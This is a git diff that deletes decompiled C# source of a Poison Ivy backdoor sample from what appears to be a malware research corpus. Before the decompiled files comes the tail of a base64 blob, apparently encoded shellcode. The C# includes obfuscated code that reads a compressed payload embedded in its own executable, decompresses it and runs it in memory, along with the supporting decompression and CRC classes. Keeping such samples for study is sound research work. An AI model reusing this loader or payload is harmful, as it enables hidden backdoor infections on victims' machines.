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 - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/AssemblyInfo.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/Backdoor.Win32.Poison.huvw.csproj b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/Backdoor.Win32.Poison.huvw.csproj deleted file mode 100644 index 42408752..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/Backdoor.Win32.Poison.huvw.csproj +++ /dev/null @@ -1,9 +0,0 @@ - - - - - Debug - AnyCPU - {84B0B00B-FDF6-462B-AB24-D605FAB5C94B} - WinExe - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/Backdoor.Win32.Poison.huvw.sln b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/Backdoor.Win32.Poison.huvw.sln deleted file mode 100644 index c175ca84..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/Backdoor.Win32.Poison.huvw.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "!", "Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.csproj", "{84B0B00B-FDF6-462B-AB24-D605FAB5C94B}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {84B0B00B-FDF6-462B-AB24-D605FAB5C94B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {84B0B00B-FDF6-462B-AB24-D605FAB5C94B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {84B0B00B-FDF6-462B-AB24-D605FAB5C94B}.Release|Any CPU.ActiveCfg = Release|Any CPU - {84B0B00B-FDF6-462B-AB24-D605FAB5C94B}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0001/_0001_0015.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0001/_0001_0015.cs deleted file mode 100644 index 321dfcaf..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0001/_0001_0015.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using \u0001\u0002; -using \u0001\u0004; -using System; -using System.IO; - -namespace \u0001\u0001 -{ - internal class \u0001\u0015 - { - public byte[] \u0001\u0016(Stream inStream) - { - MemoryStream outStream = new MemoryStream(); - byte[] numArray = new byte[5]; - if (inStream.Read(numArray, 0, 5) != 5) - throw new Exception("Err"); - \u0006\u0005 obj = new \u0006\u0005(); - obj.\u0002\u000C(numArray); - long outSize = 0; - for (int index = 0; index < 8; ++index) - { - int num = inStream.ReadByte(); - if (num < 0) - throw new Exception("Err"); - outSize |= (long) (byte) num << 8 * index; - } - long inSize = inStream.Length - inStream.Position; - obj.\u0007\u000D(inStream, (Stream) outStream, inSize, outSize, (\u0002\u0002) null); - return outStream.ToArray(); - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0001/_0002_0009.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0001/_0002_0009.cs deleted file mode 100644 index fa6a5a87..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0001/_0002_0009.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using \u0001\u0001; -using System; -using System.IO; -using System.Reflection; -using System.Windows.Forms; - -namespace \u0001\u0001 -{ - internal class \u0002\u0009 - { - internal static int \u0002\u000A = 36864; - - [STAThread] - private static void \u0002\u000E(string[] args) - { - try - { - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002\u0009.myResolveEventHandler); - } - catch (Exception ex) - { - } - object[] parameters = new object[1]{ (object) args }; - MemoryStream inStream = new MemoryStream(); - Stream stream = (Stream) new FileStream(Application.ExecutablePath.Substring(Application.ExecutablePath.LastIndexOf('\\') + 1), FileMode.Open, FileAccess.Read); - stream.Position = (long) \u0002\u0009.\u0002\u000A; - byte[] buffer = new byte[stream.Length - (long) \u0002\u0009.\u0002\u000A]; - stream.Read(buffer, 0, Convert.ToInt32(buffer.Length)); - inStream.Write(buffer, 0, buffer.Length); - inStream.Seek(0L, SeekOrigin.Begin); - Assembly assembly = Assembly.Load(new \u0001\u0015().\u0001\u0016((Stream) inStream)); - try - { - assembly.EntryPoint.Invoke((object) null, parameters); - } - catch - { - assembly.EntryPoint.Invoke((object) null, (object[]) null); - } - } - - private static Assembly myResolveEventHandler(object sender, ResolveEventArgs args) - { - string path = "_" + args.Name.ToString().Trim().Split(',')[0].ToString().Trim() + ".dll"; - MemoryStream inStream = new MemoryStream(); - Stream stream = (Stream) new FileStream(path, FileMode.Open, FileAccess.Read); - byte[] buffer = new byte[stream.Length]; - stream.Read(buffer, 0, Convert.ToInt32(buffer.Length)); - inStream.Write(buffer, 0, buffer.Length); - inStream.Seek(0L, SeekOrigin.Begin); - return Assembly.Load(new \u0001\u0015().\u0001\u0016((Stream) inStream)); - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0001_0008.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0001_0008.cs deleted file mode 100644 index 3f520b8e..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0001_0008.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -namespace \u0001\u0002 -{ - public enum \u0001\u0008 - { - \u0001\u000A = 1024, // 0x00000400 - \u0001\u0014 = 1025, // 0x00000401 - \u0001\u0012 = 1026, // 0x00000402 - \u0001\u0013 = 1088, // 0x00000440 - \u0001\u000C = 1089, // 0x00000441 - \u0001\u000D = 1090, // 0x00000442 - \u0001\u0010 = 1104, // 0x00000450 - \u0001\u0017 = 1105, // 0x00000451 - \u0001\u0011 = 1120, // 0x00000460 - \u0001\u0009 = 1136, // 0x00000470 - \u0001\u000F = 1152, // 0x00000480 - \u0001\u000B = 1168, // 0x00000490 - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0001_0018.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0001_0018.cs deleted file mode 100644 index a2069d29..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0001_0018.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using \u0001\u0002; -using System; - -namespace \u0001\u0002 -{ - internal class \u0001\u0018 - { - public static readonly uint[] \u0002 = new uint[256]; - private uint \u0001\u001F = uint.MaxValue; - - static \u0001\u0018() - { - for (uint index1 = 0; index1 < 256U; ++index1) - { - uint num = index1; - for (int index2 = 0; index2 < 8; ++index2) - { - if (((int) num & 1) != 0) - num = num >> 1 ^ 3988292384U; - else - num >>= 1; - } - \u0001\u0018.\u0002[(IntPtr) index1] = num; - } - } - - public void \u0001\u001B() => this.\u0001\u001F = uint.MaxValue; - - public void \u0001\u001C(byte b) => this.\u0001\u001F = \u0001\u0018.\u0002[(int) (byte) this.\u0001\u001F ^ (int) b] ^ this.\u0001\u001F >> 8; - - public void \u0001\u001D(byte[] data, uint offset, uint size) - { - for (uint index = 0; index < size; ++index) - this.\u0001\u001F = \u0001\u0018.\u0002[(int) (byte) this.\u0001\u001F ^ (int) data[(IntPtr) (offset + index)]] ^ this.\u0001\u001F >> 8; - } - - public uint \u0001\u001A() => this.\u0001\u001F ^ uint.MaxValue; - - private static uint \u0001\u0019(byte[] data, uint offset, uint size) - { - \u0001\u0018 obj = new \u0001\u0018(); - obj.\u0001\u001D(data, offset, size); - return obj.\u0001\u001A(); - } - - private static bool \u0001\u001E(uint digest, byte[] data, uint offset, uint size) => (int) \u0001\u0018.\u0001\u0019(data, offset, size) == (int) digest; - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0001.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0001.cs deleted file mode 100644 index ce30d2bb..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0001.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using System; - -namespace \u0001\u0002 -{ - internal class \u0002\u0001 : ApplicationException - { - public \u0002\u0001() - : base("Data Error") - { - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0002.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0002.cs deleted file mode 100644 index e2869d1c..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0002.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -namespace \u0001\u0002 -{ - public interface \u0002\u0002 - { - void \u0002\u0003(long inSize, long outSize); - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0004.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0004.cs deleted file mode 100644 index 3cff239f..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0004.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -namespace \u0001\u0002 -{ - public interface \u0002\u0004 - { - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0005.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0005.cs deleted file mode 100644 index 8cea75be..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0005.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using System; - -namespace \u0001\u0002 -{ - internal class \u0002\u0005 : ApplicationException - { - public \u0002\u0005() - : base("Invalid Parameter") - { - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0006.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0006.cs deleted file mode 100644 index 576b54f3..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0006.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using \u0001\u0002; - -namespace \u0001\u0002 -{ - public interface \u0002\u0006 - { - void \u0002\u000B(\u0001\u0008[] propIDs, object[] properties); - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0007.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0007.cs deleted file mode 100644 index fe117ef7..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0007.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -namespace \u0001\u0002 -{ - public interface \u0002\u0007 - { - void \u0002\u000C(byte[] properties); - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0008.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0008.cs deleted file mode 100644 index 34d8847c..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0002/_0002_0008.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using System.IO; - -namespace \u0001\u0002 -{ - public interface \u0002\u0008 - { - void \u0002\u000D(Stream outStream); - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/I_0001_000E.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/I_0001_000E.cs deleted file mode 100644 index d3550526..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/I_0001_000E.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .I -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500.exe - -using \u0001\u0003; - -namespace \u0001\u0003 -{ - internal interface I\u0001\u000E : \u0003\u0011 - { - void \u0002\u0010( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter); - - uint \u0002\u0012(uint[] distances); - - void \u0002\u001B(uint num); - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/_0002_000F.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/_0002_000F.cs deleted file mode 100644 index e74c619c..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.huvw-629a8704767e5bffb35022e9cfd91032277f1b6838a887590e0c114d3260f500/_0001_0003/_0002_000F.cs +++ /dev/null @@ -1,372 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0FE674E5-1D2B-4709-A920-1E9AF1978A98 -// Assembly location: 